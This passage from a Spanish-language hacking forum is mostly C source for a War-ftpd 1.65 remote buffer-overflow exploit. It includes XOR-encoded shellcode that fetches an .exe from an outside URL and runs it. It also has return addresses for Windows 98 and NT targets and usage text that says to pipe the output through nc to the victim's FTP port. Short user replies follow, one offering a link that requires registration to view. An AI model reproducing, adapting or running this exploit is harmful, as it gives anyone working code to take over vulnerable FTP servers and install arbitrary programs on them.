0x53,0x56,0x50,0xFF,0x57,0xF8,0x50,0xAC,0x84,0xC0,0x75,0xFB,0x58,
0x89, 0x37,0x50,0xAC,0x84,0xC0,0x75,0xFB,0xB8,0xFF,0x0F,0xD4,0x30,
0xC1,0xE8,0x0C,0x8B, 0xE8,0x58,0x50,0x8B,0xF7,0x83,0xC6,0x04,0x55,
0x33,0xDB,0x53,0xFF,0x57,0xE0,0x89, 0x46,0x04,0x58,0x56,0x55,0xFF,
0x76,0x04,0x50,0xFF,0x57,0xFC,0x53,0xFF,0x37,0xFF, 0x57,0xE8,0xFF,
0x36,0xFF,0x76,0x04,0x50,0x8B,0xD8,0xFF,0x57,0xEC,0x53,0xFF,0x57,
0xF0,0x33,0xDB,0x83,0xC3,0x05,0x53,0xFF,0x37,0xFF,0x57,0xDC,0xFF,
0x57,0xE4,0x4B, 0x45,0x52,0x4E,0x45,0x4C,0x33,0x32,0x00,0x57,0x69,
0x6E,0x45,0x78,0x65,0x63,0x00, 0x47,0x6C,0x6F,0x62,0x61,0x6C,0x41,
0x6C,0x6C,0x6F,0x63,0x00,0x45,0x78,0x69,0x74, 0x50,0x72,0x6F,0x63,
0x65,0x73,0x73,0x00,0x5F,0x6C,0x63,0x72,0x65,0x61,0x74,0x00, 0x5F,
0x6C,0x77,0x72,0x69,0x74,0x65,0x00,0x5F,0x6C,0x63,0x6C,0x6F,0x73,
0x65,0x00, 0x57,0x49,0x4E,0x49,0x4E,0x45,0x54,0x00,0x49,0x6E,0x74,
0x65,0x72,0x6E,0x65,0x74, 0x4F,0x70,0x65,0x6E,0x41,0x00,0x49,0x6E,
0x74,0x65,0x72,0x6E,0x65,0x74,0x4F,0x70, 0x65,0x6E,0x55,0x72,0x6C,
0x41,0x00,0x49,0x6E,0x74,0x65,0x72,0x6E,0x65,0x74,0x52, 0x65,0x61,
0x64,0x46,0x69,0x6C,0x65,0x00,0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,
0x77, 0x77,0x77,0x2E,0x6D,0x69,0x63,0x72,0x6F,0x2D,0x65,0x6C,0x65,
0x63,0x74,0x72,0x6F, 0x6E,0x69,0x63,0x61,0x2E,0x63,0x6F,0x6D,0x2F,
0x68,0x61,0x63,0x6B,0x65,0x61,0x64, 0x6F,0x2E,0x65,0x78,0x65,0x00,
0x68,0x61,0x63,0x6B,0x65,0x61,0x64,0x6F,0x2E,0x65, 0x78,0x65,0x00,
0xFF,0xFF,0xFF,0xFF};
int aux;
unsigned int retoffsets[]={0xbff941e2,0x779e2b2e,0x77df53f7};
//char targets[]={"win98SE Castellano","WinNT SP4-SP6",
// "WinNT SP6-IE5.5"};
int main(int argc,char * argv[])
{
char * buffer;
unsigned int * temp;
char comando[6]="USER ";
int lencomando;
unsigned int lenstack,lenastroploit;
unsigned int offset;
char jmpesp[]={0x81,0xc4,0x3e,0xfe,0xFF,0xFF,0xFF,0xe4};
//OPCODES DE add esp-450;jmp esp
if (argc<3)
{
printf ("War-ftpd 1.65 Remote Exploit Demonstration by eid0\nThis
exploits forces war-ftpd to download a file from an url and executes
it in VISIBLE mode.\nUsage: %s typehost url | nc victimhost
21(ftp-port)\nWindows types:\n0 ->%s\n1 ->%s\n2 ->%s\n",
argv[0],"win98SE Castellano(Spanish)","WinNT SP4-SP6 with IE<5",
"WinNT SP6 with IE5.5.\nThe url must not excede 45 characters.");
return 0;
}

lencomando=strlen(comando);
buffer=malloc(3000);
memset(buffer,NOP,3000);
memcpy(buffer,comando,lencomando);

lenstack=0xccfd18-0xccfb18;
lenastroploit=sizeof(astroploit);
strcpy(&(astroploit[0x158]),argv[2]);
//an xploitable xploit xD don't suid it

aux=strlen(argv[2]);
while (((argv[2])[aux] != '/') && (aux>=0)) aux--;
if (!aux) {printf("Bad url,talking head...\nExiting...\n");return 0;}
strcpy(&astroploit[0x158+strlen(argv[2])+1],&((argv[2])[aux+1]));
//printf("\n->cadena=%s\n",&((argv[2])[aux+1]));
for (offset=0xdf;offset<(lenastroploit-4);offset++)
astroploit[offset]^=0x99;

temp=(unsigned int *)&(buffer[lencomando+lenstack-27]);
*(temp)=retoffsets[atoi(argv[1])];
memcpy((char *)((unsigned int)temp)-lenastroploit,
astroploit,lenastroploit);

((unsigned int)temp)+=4;
((unsigned int)temp)+=300;
memcpy(temp,&(jmpesp),sizeof(jmpesp));
((unsigned int)temp)+=sizeof(jmpesp);
*((int *)temp)=0x0a0d;
lenastroploit=strlen(buffer);
write(1,buffer,lenastroploit);
return(0);
}
 #171478  por FroZenFeW
 22 Abr 2010, 19:45
esta copadisimo un saludo desde a qui a los chicos de new bytez

///editado por Shimpei!sdsdfjksdf!
[ Debe registrarse para ver este enlace ]&
aca les dejo un regalo a todos los que lean el manual en el post de mi amigo FrZ